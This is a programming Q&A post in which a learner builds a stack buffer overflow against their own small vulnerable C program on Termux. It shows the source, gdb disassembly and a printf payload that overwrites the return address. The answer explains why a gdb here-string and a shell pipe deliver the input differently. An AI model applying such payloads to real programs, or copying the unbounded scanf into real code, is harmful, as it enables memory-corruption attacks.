cshellgdb

The "<<<" of the gdb and the "| " of the shell What is the difference?


I use termux

I'm learning about buffer overflow The attack string I built in gdb with

run <<< $(printf "")

succeeds But using

printf "" |

in shell fails

Here is the detailed process:

Target program source code:

#include <stdio.h>

void re_in(void)
{
    char arr[10];
    scanf("%s",arr);
    // gets(arr);
    printf("%s\n",arr);
}

void main()
{
    re_in();
}

compile:

u0_a238@localhost  ~/storage/external-1/hk # gcc -mprefer-vector-width=2 -g overflow.c -o ~/temp/overflow
overflow.c:11:1: warning: return type of 'main' is not 'int' [-Wmain-return-type]
   11 | void main()
      | ^
overflow.c:11:1: note: change return type to 'int'
   11 | void main()
      | ^~~~
      | int
1 warning generated.
 u0_a238@localhost  ~/storage/external-1/hk #

Confirm the boundary:

✘ u0_a238@localhost  /storage/sdcard1/Android/data/com.termux/files/hk # ~/temp/overflow
aaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaa
 ✘ u0_a238@localhost  /storage/sdcard1/Android/data/com.termux/files/hk # ~/temp/overflow
aaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaa
[1]    29989 segmentation fault  ~/temp/overflow
 ✘ u0_a238@localhost  /storage/sdcard1/Android/data/com.termux/files/hk #

View the address of the re_in function for overrides:

u0_a238@localhost  ~/storage/external-1/hk # gdb ~/temp/overflow
GNU gdb (GDB) 15.2
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "aarch64-linux-android".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resour--Type <RET> for more, q to quit, c to continue without paging--
ces online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /data/data/com.termux/files/home/temp/overflow...
(gdb) disas main
Dump of assembler code for function main:
   0x000000000000487c <+0>:     stp     x29, x30, [sp, #-16]!
   0x0000000000004880 <+4>:     mov     x29, sp
   0x0000000000004884 <+8>:     bl      0x4840 <re_in>
   0x0000000000004888 <+12>:    ldp     x29, x30, [sp], #16
   0x000000000000488c <+16>:    ret
End of assembler dump.
(gdb)

Launch an attack:

(gdb) run <<< $(printf "aaaaaaaaaaaaaaaaaa\x84\x98\x55\x55\x55")
Starting program: /data/data/com.termux/files/home/temp/overflow <<< $(printf "aaaaaaaaaaaaaaaaaa\x84\x98\x55\x55\x55")
warning: Unable to determine the number of hardware watchpoints available.
warning: Unable to determine the number of hardware breakpoints available.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/data/data/com.termux/files/usr/lib/libthread_db.so".
aaaaaaaaaaaaaaaaaa��UUU
aaaaaaaaaaaaaaaaaa��UUU
[Inferior 1 (process 31179) exited with code 030]
(gdb)

succeed

try in bash:

✘ u0_a238@localhost  /storage/sdcard1/Android/data/com.termux/files/hk # printf "aaaaaaaaaaaaaaaaaa\x84\x98\x55\x55\x55" | ~/temp/overflow
aaaaaaaaaaaaaaaaaa��UUU
[1]    1192 done                printf "aaaaaaaaaaaaaaaaaa\x84\x98\x55\x55\x55" |
       1193 segmentation fault  ~/temp/overflow
 ✘ u0_a238@localhost  /storage/sdcard1/Android/data/com.termux/files/hk #

failed

Why?

The "<<<" of the gdb and the "| " of the shell Is there any difference? Or is there something else?


Solution

  • Gdb's here-string redirection (<<<) is effectively borrowed from Bash. (The GDB manual does not mention that redirection operator specifically, but it does say "You can redirect your program’s input and/or output using shell redirection with the run command.") The bash manual says of it:

    The word undergoes tilde expansion, parameter and variable expansion, command substitution, arithmetic expansion, and quote removal. Filename expansion and word splitting are not performed. The result is supplied as a single string, with a newline appended, to the command on its standard input [...].

    Even if the data you are providing are not subject to any of those expansions (or if gdb didn't perform them), redirection with <<< differs from piping the input in that the former appends a newline. However, command substitution ($()) removes any trailing newline, so as long as the data don't already end with a newline, you can make the two behave the same for the same printf argument by adding a newline to the printf data: printf '...\n'.

    Alternatively, I don't really see why you are doing the redirection differently in the two cases. As long as your shell is Bash, at least, you should be able to use the here-string version both in and out of gdb.